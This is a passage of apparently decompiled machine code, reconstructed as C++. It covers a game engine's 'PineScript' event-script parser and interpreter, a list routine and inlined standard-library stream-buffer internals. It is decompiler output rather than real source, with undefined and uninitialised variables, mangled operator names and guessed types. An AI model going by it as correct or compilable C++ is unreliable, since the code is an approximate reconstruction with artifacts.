(__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sa_Calculate)(&prnt, ps); v5 = ps->ps_StackPoint; if ( v5 ) { ps->ps_StackPoint = v5 - 1; LOWORD(v5) = 1; } return v5; } //----- (004BCF90) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Express::sa_Load(PineEventScriptNode::Express *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Express *v2; // esi@1 unsigned __int16 result; // ax@1 void *v4; // eax@4 v2 = this; result = this->e_Term.baseclass_0.vfptr->sa_Load(&this->e_Term, tr); if ( result ) { if ( (unsigned __int16)v2->e_Oper.baseclass_0.vfptr->sa_Load(&v2->e_Oper, tr) ) { v4 = operator new(0x11Cu); if ( v4 ) { *(_DWORD *)v4 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v4 + 3) = 0; *((_DWORD *)v4 + 2) = 0; *((_DWORD *)v4 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v4 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v4 + 20) = 0; *((_DWORD *)v4 + 69) = 0; *((_DWORD *)v4 + 70) = 0; v2->e_Express = (PineEventScriptNode::Express *)v4; result = (**(int (__thiscall ***)(_DWORD, _DWORD))v4)(v4, tr); } else { v2->e_Express = 0; result = (*(int (__thiscall **)(_DWORD, _DWORD))v0)(0, tr); } } else { result = 1; } } return result; } // 650BC4: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 650CA4: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 650E08: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (004BD030) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Load(PineEventScriptNode::Statement *this, PineScriptReader::TokenReader *tr) { int v2; // eax@1 PineEventScriptNode::Statement *v3; // esi@1 int v4; // eax@2 PineEventScriptNode::ScriptAtom *v5; // eax@3 void *v6; // ST00_4@4 v2 = ps_statementlist.sl_Point; v3 = this; while ( 1 ) { ps_statementlist.sl_Pnt = v2 - 1; v4 = ((int (*)(void))ps_statementlist.sl_Array[v2 - 1]->baseclass_0.vfptr[1].sa_Load)(); v3->s_Statement = (PineEventScriptNode::ScriptAtom *)v4; if ( (unsigned __int16)(**(int (__thiscall ***)(_DWORD, _DWORD))v4)(v4, tr) ) break; v5 = v3->s_Statement; if ( v5 ) { v6 = v3->s_Statement; v5->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v6); } v2 = ps_statementlist.sl_Pnt; if ( !ps_statementlist.sl_Pnt ) return 0; } return 1; } // 650BB4: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (004BD090) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Express::sa_Calculate(PineEventScriptNode::Express *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Express *v3; // esi@1 PineScriptToken *result; // eax@3 PineEventScriptNode::Express *v5; // ecx@4 PineScriptToken tmp; // [sp+10h] [bp-104h]@1 unsigned int v7; // [sp+110h] [bp-4h]@1 v3 = this; v7 = (unsigned int)&tmp ^ __security_cookie; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))this->e_Term.baseclass_0.vfptr->sa_Calculate)( buffer, ps) ) { if ( v3->e_Express ) { v5 = v3->e_Express; tmp.pst_Buffer[0] = 0; ((void (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->baseclass_0.vfptr->sa_Calculate)( &tmp, ps); switch ( v3->e_Oper.co_OperType ) { case 9: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xA: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xB: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xC: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xD: result = PineScriptToken::pst_Merge(buffer, &tmp); break; default: goto LABEL_10; } } else { result = buffer; } } else { LABEL_10: result = 0; } return result; } //----- (004BD180) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Condition::sa_Calculate(PineEventScriptNode::Condition *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Condition *v3; // esi@1 PineEventScriptNode::ScriptAtomVtbl *v4; // eax@1 int v5; // esi@2 int v6; // eax@2 PineScriptToken *result; // eax@2 int v8; // esi@3 int v9; // eax@3 int v10; // esi@4 int v11; // eax@4 int v12; // esi@5 int v13; // eax@5 int v14; // esi@6 int v15; // eax@6 int v16; // esi@7 int v17; // eax@7 unsigned __int16 v18; // ax@8 unsigned __int16 v19; // ax@9 PineScriptToken right; // [sp+10h] [bp-204h]@1 PineScriptToken left; // [sp+110h] [bp-104h]@1 unsigned int v22; // [sp+210h] [bp-4h]@1 v3 = this; v22 = (unsigned int)&right ^ __security_cookie; v4 = this->c_Left.baseclass_0.vfptr; left.pst_Buffer[0] = 0; right.pst_Buffer[0] = 0; ((void (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sa_Calculate)(&left, ps); v3->c_Right.baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)&v3->c_Right, &right, ps); buffer->pst_Buffer[0] = 0; switch ( v3->c_Oper.co_OperType ) { case 1: v5 = PineScriptToken::pst_GetNumber(&right, 0); v6 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v6 == v5); break; case 2: v8 = PineScriptToken::pst_GetNumber(&right, 0); v9 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v9 != v8); break; case 3: v10 = PineScriptToken::pst_GetNumber(&right, 0); v11 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v11 < v10); break; case 4: v12 = PineScriptToken::pst_GetNumber(&right, 0); v13 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v13 > v12); break; case 5: v14 = PineScriptToken::pst_GetNumber(&right, 0); v15 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v15 <= v14); break; case 6: v16 = PineScriptToken::pst_GetNumber(&right, 0); v17 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v17 >= v16); break; case 7: v18 = PineScriptToken::operator__(&left, right.pst_Buffer); result = PineScriptToken::pst_MergeNumber(buffer, v18); break; case 8: v19 = PineScriptToken::operator__(&left, right.pst_Buffer); result = PineScriptToken::pst_MergeNumber(buffer, v19); break; default: result = 0; break; } return result; } //----- (004BD390) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadNumber(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *i; // esi@1 signed int v3; // edx@2 int v4; // edx@10 PineScriptToken *result; // eax@12 for ( i = this; ; ++i->tr_BufPnt ) { v3 = i->tr_CharReader.cr_UngetBuffer; if ( v3 == -1 ) v3 = PineScriptReader::CharacterReader::cr_GetCh(&i->tr_CharReader); else i->tr_CharReader.cr_UngetBuffer = -1; if ( v3 == -1 || v3 <= 32 ) goto LABEL_12; if ( v3 < 48 || v3 > 57 ) break; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = v3; } if ( PineScriptReader::TokenReader::tr_IsOper(i, v3) ) { i->tr_CharReader.cr_UngetBuffer = v4; LABEL_12: result = tkn; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = 0; memcpy(tkn, &i->tr_Buffer, 0x100u); return result; } i->tr_ErrCode = "Number read fail"; return 0; } //----- (004BD420) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadIdent(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *i; // esi@1 int v3; // eax@2 PineScriptToken *result; // eax@16 for ( i = this; ; ++i->tr_BufPnt ) { v3 = i->tr_CharReader.cr_UngetBuffer; if ( v3 == -1 ) v3 = PineScriptReader::CharacterReader::cr_GetCh(&i->tr_CharReader); else i->tr_CharReader.cr_UngetBuffer = -1; if ( v3 == -1 || v3 < 32 ) break; if ( (v3 < 48 || v3 > 57) && (v3 < 65 || v3 > 90) && (v3 < 97 || v3 > 122) && v3 != 95 ) { i->tr_CharReader.cr_UngetBuffer = v3; break; } i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = v3; } result = tkn; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = 0; memcpy(tkn, &i->tr_Buffer, 0x100u); return result; } //----- (004BD4B0) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementList::_StatementList(PineEventScriptNode::StatementList *this) { PineEventScriptNode::StatementList *v1; // edi@1 int i; // esi@1 PineEventScriptNode::CompareOperator *v3; // ecx@2 void *v4; // ecx@3 v1 = this; for ( i = 0; i < v1->sl_Point; ++i ) { v3 = (PineEventScriptNode::CompareOperator *)v1->sl_Array[i]; if ( v3 ) { PineEventScriptNode::CalculateOperator::_CalculateOperator(v3); operator delete(v4); } } } //----- (004BD4F0) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::ProcessStack(PineScriptStack::ProcessStack *this) { PineScriptStack::ProcessStack *v1; // esi@1 int v2; // ecx@1 v1 = this; _eh_vector_constructor_iterator_( &this->ps_VarStack, 0x200u, 128, (void (__thiscall *)(void *))PineScriptStack::VariableStack::VarArray::VarArray, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->ps_ScriptName.pst_Buffer[0] = 0; v1->ps_StackPoint = 0; v1->ps_Stack[0].ip = 0; v2 = v1->ps_StackPoint; v1->ps_Script = 0; v1->ps_Stack[v2].node = 0; *(_DWORD *)&v1->gap10114[20] = 0; *(_DWORD *)&v1->gap10114[16] = 0; *(_DWORD *)&v1->gap10114[28] = 0; *(_DWORD *)&v1->gap10114[24] = 0; v1->ps_VarStack.vs_StackPoint = 0; } //----- (004BD560) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_ExitBlock(PineScriptStack::ProcessStack *this, PineScriptToken *exitblock) { PineScriptStack::ProcessStack *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 unsigned __int16 result; // ax@4 v2 = this; if ( (unsigned __int16)((int (__stdcall *)(_DWORD))this->ps_Stack[this->ps_StackPoint].node->vfptr->sa_BlockNameCheck)(exitblock) ) { LABEL_4: v2->ps_Stack[v2->ps_StackPoint].ip = 9999; result = 1; } else { while ( 1 ) { v3 = v2->ps_StackPoint; if ( !v3 ) break; v4 = v3 - 1; v2->ps_StackPoint = v4; if ( (unsigned __int16)((int (__stdcall *)(_DWORD))v2->ps_Stack[v4].node->vfptr->sa_BlockNameCheck)(exitblock) ) goto LABEL_4; } result = 0; } return result; } //----- (004BD5C0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_FindVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname) { PineScriptStack::ProcessStack *v2; // esi@1 PineScriptToken *result; // eax@4 v2 = this; if ( !(_S96_0 & 1) ) { _S96_0 |= 1u; deftkn.pst_Buffer[0] = 0; atexit(_E97); } if ( varname ) { result = PineScriptStack::VariableStack::vs_FindVariable(&v2->ps_VarStack, varname); if ( !result ) result = &deftkn; } else { AssertClass::ac_AssertFail(&shineassert, "Null variable", byte_635E1E); result = &deftkn; } return result; } //----- (004BD640) -------------------------------------------------------- void __thiscall std::basic_streambuf>::_basic_streambuf>(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // ebx@1 void *v2; // edi@1 int v3; // esi@2 unsigned int v4; // eax@3 int v5; // esi@6 std::_Lockit thisa; // [sp+0h] [bp-4h]@1 thisa._Locktype = (int)this; v1 = this; v2 = (void *)this->_Plocale; this->vfptr = (std::basic_streambuf >Vtbl *)&std::basic_streambuf>::_vftable_; if ( v2 ) { v3 = *(_DWORD *)v2; if ( *(_DWORD *)v2 ) { std::_Lockit::_Lockit(&thisa, 0); v4 = *(_DWORD *)(v3 + 4); if ( v4 && v4 < 0xFFFFFFFF ) *(_DWORD *)(v3 + 4) = v4 - 1; v5 = ((*(_DWORD *)(v3 + 4) != 0) - 1) & v3; std::_Lockit::__Lockit(&thisa); if ( v5 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v5)(v5, 1); } operator delete(v2); } std::_Mutex::__Mutex(&v1->_Mylock); } // 650E7C: using guessed type int (__thiscall *std__basic_streambuf_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004BD6F0) -------------------------------------------------------- int __thiscall std::basic_streambuf>::xsgetn(std::basic_streambuf > *this, char *_Ptr, int _Count) { int v3; // edi@1 int result; // eax@1 std::basic_streambuf > *v5; // ebx@1 void *v6; // ebp@2 const void *v7; // esi@3 unsigned int v8; // eax@4 int v9; // eax@8 int _Copied; // [sp+0h] [bp-4h]@1 v3 = _Count; result = 0; v5 = this; _Copied = 0; if ( _Count > 0 ) { v6 = _Ptr; do { v7 = *v5->_IGnext; if ( v7 && (v8 = *v5->_IGcount, (signed int)v8 > 0) ) { if ( v3 < (signed int)v8 ) v8 = v3; memcpy(v6, v7, v8); _Copied += v8; *v5->_IGcount -= v8; v3 = _Count - v8; v6 = (char *)v6 + v8; _Count -= v8; *v5->_IGnext += v8; } else { v9 = v5->vfptr->uflow(v5); if ( v9 == -1 ) break; *(_BYTE *)v6 = v9; v6 = (char *)v6 + 1; --v3; ++_Copied; _Count = v3; } } while ( v3 > 0 ); result = _Copied; } return result; } //----- (004BD790) -------------------------------------------------------- int __thiscall std::basic_streambuf>::xsputn(std::basic_streambuf > *this, const char *_Ptr, int _Count) { int v3; // esi@1 int result; // eax@1 std::basic_streambuf > *v5; // ebx@1 const void *v6; // ebp@2 void *v7; // edi@3 unsigned int v8; // eax@4 int _Copied; // [sp+4h] [bp-4h]@1 v3 = _Count; result = 0; v5 = this; _Copied = 0; if ( _Count > 0 ) { v6 = _Ptr; do { v7 = *v5->_IPnext; if ( v7 && (v8 = *v5->_IPcount, (signed int)v8 > 0) ) { if ( v3 < (signed int)v8 ) v8 = v3; memcpy(v7, v6, v8); _Copied += v8; *v5->_IPcount -= v8; v6 = (char *)v6 + v8; _Count -= v8; *v5->_IPnext += v8; v3 = _Count; } else { if ( v5->vfptr->overflow(v5, *(_BYTE *)v6) == -1 ) break; v6 = (char *)v6 + 1; --v3; ++_Copied; _Count = v3; } } while ( v3 > 0 ); result = _Copied; } return result; } //----- (004BD840) -------------------------------------------------------- std::fpos *__thiscall std::basic_streambuf>::seekoff(std::basic_streambuf > *this, std::fpos *result, int __formal, int a4, int a5) { std::fpos *v5; // eax@1 v5 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v5; } // 689C7C: using guessed type const __int32 std___BADOFF; // 12F8B4BC: using guessed type int std__fpos_int____Stz; // 1535F480: using guessed type __int64 std___Fpz; //----- (004BD870) -------------------------------------------------------- std::fpos *__thiscall std::basic_streambuf>::seekpos(std::basic_streambuf > *this, std::fpos *result, std::fpos __formal, int a4) { std::fpos *v4; // eax@1 v4 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v4; } // 689C7C: using guessed type const __int32 std___BADOFF; // 12F8B4BC: using guessed type int std__fpos_int____Stz; // 1535F480: using guessed type __int64 std___Fpz; //----- (004BD8A0) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this) { std::basic_streambuf > *v1; // esi@1 v1 = (std::basic_streambuf > *)this; this->baseclass_0.vfptr = (std::basic_streambuf >Vtbl *)&std::basic_stringbuf_std::allocator>::_vftable_; std::basic_stringbuf_std::allocator>::_Tidy(this); std::basic_streambuf>::_basic_streambuf>(v1); } // 650EB0: using guessed type int (__thiscall *std__basic_stringbuf_char_std__char_traits_char__std__allocator_char_____vftable_)(void *p, char); //----- (004BD8C0) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::pbackfail(std::basic_stringbuf,std::allocator > *this, int _Meta) { char *v2; // eax@1 int result; // eax@7 v2 = *this->baseclass_0._IGnext; if ( !v2 || v2 <= *this->baseclass_0._IGfirst || _Meta != -1 && (_BYTE)_Meta != *(v2 - 1) && this->_Mystate & 2 ) { result = -1; } else { ++*this->baseclass_0._IGcount; --*this->baseclass_0._IGnext; if ( _Meta == -1 ) { result = 0; } else { **this->baseclass_0._IGnext = _Meta; result = _Meta; } } return result; } //----- (004BD920) -------------------------------------------------------- int __thiscall std::basic_stringbuf_std::allocator>::underflow(std::basic_stringbuf,std::allocator > *this) { char **v1; // edx@1 char *v2; // esi@1 int result; // eax@2 int *v4; // edi@3 char *v5; // eax@6 v1 = this->baseclass_0._IGnext; v2 = *v1; if ( *v1 ) { v4 = this->baseclass_0._IGcount; if ( *v1 >= &(*v1)[*v4] ) { if ( this->_Mystate & 4 || (v5 = *this->baseclass_0._IPnext) == 0 || v5 <= v2 && this->_Seekhigh <= v2 ) { result = -1; } else { if ( this->_Seekhigh < v5 ) this->_Seekhigh = v5; *v4 = this->_Seekhigh - *v1; result = **this->baseclass_0._IGnext; } } else { result = (unsigned __int8)*v2; } } else { result = -1; } return result; } //----- (004BD990) -------------------------------------------------------- std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekoff(std::basic_stringbuf,std::allocator > *this, std::fpos *result, int _Off, int _Way, int _Which) { char **v5; // edx@1 char *v6; // eax@1 char *v7; // esi@5 const __int32 v8; // edi@6 unsigned int v9; // edx@7 char *v10; // eax@15 int v11; // eax@16 char **v12; // edi@17 char *v13; // esi@18 int v14; // eax@18 char *v15; // esi@21 char *v16; // eax@29 int v17; // eax@30 std::fpos *v18; // eax@32 v5 = this->baseclass_0._IPnext; v6 = *v5; if ( *v5 && this->_Seekhigh < v6 ) this->_Seekhigh = v6; if ( !(_Which & 1) || (v7 = *this->baseclass_0._IGnext) == 0 ) { if ( !(_Which & 2) || (v15 = *v5) == 0 ) { v9 = std::_BADOFF; goto LABEL_32; } v8 = std::_BADOFF; if ( _Way == 2 ) { v9 = this->_Seekhigh - *this->baseclass_0._IGfirst + _Off; } else { if ( _Way == 1 ) { v9 = v15 - *this->baseclass_0._IGfirst + _Off; } else { v9 = std::_BADOFF; if ( !_Way ) v9 = _Off; } } if ( (v9 & 0x80000000u) == 0 ) { v16 = *this->baseclass_0._IGfirst; if ( (signed int)v9 <= (signed int)(this->_Seekhigh - v16) ) { v17 = v9 + v16 - v15; *this->baseclass_0._IPcount -= v17; *this->baseclass_0._IPnext += v17; goto LABEL_32; } } goto LABEL_19; } v8 = std::_BADOFF; if ( _Way != 2 ) { if ( _Way == 1 ) { if ( !(_Which & 2) ) { v9 = v7 - *this->baseclass_0._IGfirst + _Off; goto LABEL_14; } } else { if ( !_Way ) { v9 = _Off; goto LABEL_14; } } v9 = std::_BADOFF; goto LABEL_14; } v9 = this->_Seekhigh - *this->baseclass_0._IGfirst + _Off; LABEL_14: if ( (v9 & 0x80000000u) != 0 || (v10 = *this->baseclass_0._IGfirst, (signed int)v9 > (signed int)(this->_Seekhigh - v10)) ) { LABEL_19: v9 = v8; goto LABEL_32; } v11 = v9 + v10 - v7; *this->baseclass_0._IGcount -= v11; *this->baseclass_0._IGnext += v11; if ( _Which & 2 ) { v12 = this->baseclass_0._IPnext; if ( *v12 ) { v13 = *this->baseclass_0._IGnext; v14 = (int)&(*v12)[*this->baseclass_0._IPcount]; *v12 = v13; *this->baseclass_0._IPcount = v14 - (_DWORD)v13; } } LABEL_32: v18 = result; result->_Myoff = v9; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v18; } // 689C7C: using guessed type const __int32 std___BADOFF; // 12F8B4BC: using guessed type int std__fpos_int____Stz; // 1535F480: using guessed type __int64 std___Fpz; //----- (004BDB00) -------------------------------------------------------- std::fpos *__thiscall std::basic_stringbuf_std::allocator>::seekpos(std::basic_stringbuf,std::allocator > *this, std::fpos *result, std::fpos _Ptr, int _Mode) { char **v4; // edi@1 int v5; // edx@1 char *v6; // eax@1 char *v7; // esi@6 char *v8; // eax@8 int v9; // eax@9 char **v10; // edi@10 char *v11; // esi@11 int v12; // eax@11 char *v13; // edi@13 char *v14; // eax@15 int v15; // eax@16 std::fpos *v16; // eax@18 v4 = this->baseclass_0._IPnext; v5 = _Ptr._Myoff + LODWORD(_Ptr._Fpos); v6 = *v4; if ( *v4 && this->_Seekhigh < v6 ) this->_Seekhigh = v6; if ( v5 != std::_BADOFF ) { if ( _Mode & 1 && (v7 = *this->baseclass_0._IGnext) != 0 ) { if ( v5 >= 0 ) { v8 = *this->baseclass_0._IGfirst; if ( v5 <= (signed int)(this->_Seekhigh - v8) ) { v9 = v5 + v8 - v7; *this->baseclass_0._IGcount -= v9; *this->baseclass_0._IGnext += v9; if ( _Mode & 2 ) { v10 = this->baseclass_0._IPnext; if ( *v10 ) { v11 = *this->baseclass_0._IGnext; v12 = (int)&(*v10)[*this->baseclass_0._IPcount]; *v10 = v11; *this->baseclass_0._IPcount = v12 - (_DWORD)v11; } } goto LABEL_18; } } } else { if ( _Mode & 2 ) { v13 = *v4; if ( v13 ) { if ( v5 >= 0 ) { v14 = *this->baseclass_0._IGfirst; if ( v5 <= (signed int)(this->_Seekhigh - v14) ) { v15 = v5 + v14 - v13; *this->baseclass_0._IPcount -= v15; *this->baseclass_0._IPnext += v15; goto LABEL_18; } } } } } v5 = std::_BADOFF; } LABEL_18: v16 = result; result->_Myoff = v5; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v16; } // 689C7C: using guessed type const __int32 std___BADOFF; // 12F8B4BC: using guessed type int std__fpos_int____Stz; // 1535F480: using guessed type __int64 std___Fpz; //----- (004BDBF0) -------------------------------------------------------- void *__thiscall std::basic_ostream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2) { void *v2; // esi@1 v2 = (char *)this - 4; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 1) + 4) - 4) = &std::basic_ostream>::_vftable_; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 650D88: using guessed type int (__stdcall *std__basic_ostream_char_std__char_traits_char_____vftable_)(char); //----- (004BDC20) -------------------------------------------------------- void *__thiscall std::basic_istream>::_vector_deleting_destructor_(std::basic_ios > *this, char a2) { void *v2; // esi@1 v2 = (char *)this - 8; *(_DWORD *)((char *)this + *(_DWORD *)(*((_DWORD *)this - 2) + 4) - 8) = std::basic_istream>::_vftable_; std::basic_ios>::_basic_ios>(this); if ( a2 & 1 ) operator delete(v2); return v2; } // 650D90: using guessed type int (__stdcall *std__basic_istream_char_std__char_traits_char_____vftable_[2])(char); //----- (004BDC50) -------------------------------------------------------- void *__thiscall std::basic_streambuf>::_vector_deleting_destructor_(std::basic_streambuf > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_streambuf>::_basic_streambuf>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BDC70) -------------------------------------------------------- void *__thiscall std::basic_iostream>::_vector_deleting_destructor_(std::basic_iostream > *this, char a2) { void *v2; // esi@1 std::basic_ios > *v3; // edi@1 v2 = (char *)this - 12; v3 = (std::basic_ios > *)this; std::basic_iostream>::_basic_iostream>(this); std::basic_ios>::_basic_ios>(v3); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BDCA0) -------------------------------------------------------- void *__thiscall std::basic_stringbuf_std::allocator>::_vector_deleting_destructor_(std::basic_stringbuf,std::allocator > *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BDCC0) -------------------------------------------------------- void __thiscall std::basic_streambuf>::basic_streambuf>(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // esi@1 void *v2; // eax@1 std::locale *v3; // eax@2 v1 = this; this->vfptr = (std::basic_streambuf >Vtbl *)&std::basic_streambuf>::_vftable_; std::_Mutex::_Mutex(&this->_Mylock); v2 = operator new(4u); if ( v2 ) std::locale::locale((std::locale *)v2); else v3 = 0; v1->_Plocale = v3; std::basic_streambuf>::_Init(v1); } // 650E7C: using guessed type int (__thiscall *std__basic_streambuf_char_std__char_traits_char_____vftable_)(void *p, char); //----- (004BDD30) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::_Init(std::basic_stringbuf,std::allocator > *this, const char *_Ptr, unsigned int _Count, int _State) { std::basic_stringbuf,std::allocator > *v4; // ebx@1 void *v5; // eax@3 v4 = this; this->_Seekhigh = 0; this->_Mystate = _State; if ( _Count && (_State & 6) != 6 ) { v5 = operator new(_Count); memcpy(v5, _Ptr, _Count); v4->_Seekhigh = (char *)v5 + _Count; if ( !(v4->_Mystate & 4) ) { *v4->baseclass_0._IGfirst = (char *)v5; *v4->baseclass_0._IGnext = (char *)v5; *v4->baseclass_0._IGcount = _Count; } if ( !(v4->_Mystate & 2) ) { *v4->baseclass_0._IPfirst = (char *)v5; *v4->baseclass_0._IPnext = (char *)v5; *v4->baseclass_0._IPcount = _Count; if ( !*v4->baseclass_0._IGnext ) { *v4->baseclass_0._IGfirst = (char *)v5; *v4->baseclass_0._IGnext = 0; *v4->baseclass_0._IGcount = (int)v5; } } v4->_Mystate |= 1u; } } //----- (004BDDD0) -------------------------------------------------------- std::ctype *__cdecl std::use_facet>(std::locale *_Loc) { int v1; // edi@1 std::locale::facet *v2; // esi@5 unsigned int v3; // eax@11 int _Psave; // [sp+8h] [bp-24h]@1 std::_Lockit this; // [sp+Ch] [bp-20h]@2 std::_Lockit _Lock; // [sp+10h] [bp-1Ch]@1 char pExceptionObject; // [sp+14h] [bp-18h]@9 int v9; // [sp+28h] [bp-4h]@1 std::_Lockit::_Lockit(&_Lock, 0); v1 = std::_Facetptr>::_Psave; v9 = 0; _Psave = std::_Facetptr>::_Psave; if ( !std::ctype::id ) { std::_Lockit::_Lockit(&this, 0); if ( !std::ctype::id ) { ++std::locale::id::_Id_cnt; std::ctype::id = std::locale::id::_Id_cnt; } std::_Lockit::__Lockit(&this); } v2 = std::locale::_Getfacet(_Loc, std::ctype::id); if ( !v2 ) { if ( v1 ) { v2 = (std::locale::facet *)v1; } else { if ( std::ctype::_Getcat((std::locale::facet **)&_Psave) == -1 ) { bad_cast::bad_cast((bad_cast *)&pExceptionObject, "bad cast"); _CxxThrowException(&pExceptionObject, &_TI2_AVbad_cast__); } v2 = (std::locale::facet *)_Psave; std::_Facetptr>::_Psave = _Psave; std::_Lockit::_Lockit(&this, 0); v3 = v2->_Refs; if ( v3 < 0xFFFFFFFF ) v2->_Refs = v3 + 1; std::_Lockit::__Lockit(&this); std::locale::facet::_Register(v2); } } v9 = -1; std::_Lockit::__Lockit(&_Lock); return (std::ctype *)v2; } // 12F8B4C0: using guessed type int std___Facetptr_std__ctype_char_____Psave; // 1535F460: using guessed type int std__locale__id___Id_cnt; //----- (004BDEE0) -------------------------------------------------------- char __thiscall List::l_Enlargement(List *this, int extsize) { List *v2; // ebp@1 ListArray *v4; // eax@3 int v5; // ebx@5 void *v6; // eax@5 void *v7; // esi@6 void *v8; // eax@9 int v9; // ecx@12 int v10; // esi@13 PineEventScriptNode::Statement *v11; // edx@14 void *v12; // ecx@16 void *v13; // edx@16 int v14; // esi@16 int v15; // ecx@18 int v16; // edx@19 int v17; // eax@21 int v18; // edx@21 void *v19; // ST10_4@21 void **v20; // eax@21 void *v21; // eax@21 void *v22; // esi@22 ListArray *v23; // edx@23 void *newarray; // [sp+8h] [bp-10h]@9 void *extsizea; // [sp+1Ch] [bp+4h]@6 v2 = this; if ( this->l_Finger.empty != -1 ) return 0; v4 = this->l_ListArray; if ( !v4 ) return 0; v5 = extsize + v4->la_Size; v6 = operator new__(8 * v5 + 4); if ( v6 ) { v7 = (char *)v6 + 4; *(_DWORD *)v6 = v5; _eh_vector_constructor_iterator_( (char *)v6 + 4, 8u, v5, (void (__thiscall *)(void *))PineEventScriptNode::Statement::Statement, (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); extsizea = v7; } else { extsizea = 0; v7 = 0; } if ( !v7 ) return 0; v8 = operator new__(12 * v5 + 12); newarray = v8; if ( !v8 ) { _eh_vector_destructor_iterator_( v7, 8u, *((_DWORD *)v7 - 1), (void (__thiscall *)(void *))PineEventScriptNode::Statement::_Statement); operator delete__((char *)v7 - 4); return 0; } v9 = 0; if ( v2->l_ListArray->la_Size > 0 ) { v10 = (int)((char *)v7 + 4); do { v11 = v2->l_ListArray->la_Array; *(_DWORD *)v10 = v11[v9].s_Statement; v11[v9++].s_Statement = 0; v10 += 8; } while ( v9 < v2->l_ListArray->la_Size ); } memcpy(v8, v2->l_Array, 12 * v2->l_ListArray->la_Size); *((_WORD *)v8 + 6 * v2->l_Array[v2->l_Finger.store].ls_Next + 3) = v5; *((_WORD *)v8 + 6 * v2->l_Array[v2->l_Finger.store].ls_Prev + 2) = v5; if ( v5 > 0 ) { v12 = extsizea; v13 = v8; v14 = v5; do { *(_DWORD *)v13 = v12; v12 = (char *)v12 + 8; v13 = (char *)v13 + 12; --v14; } while ( v14 ); } v15 = v2->l_MaxSize; if ( v15 < v5 ) { v16 = (int)((char *)v8 + 12 * v15 + 4); do { *(_WORD *)v16 = v15 + 1; *(_BYTE *)(v16 + 4) = 0; *(_WORD *)(v16 + 2) = v15++ - 1; v16 += 12; } while ( v15 < v5 ); } *((_WORD *)v8 + 6 * 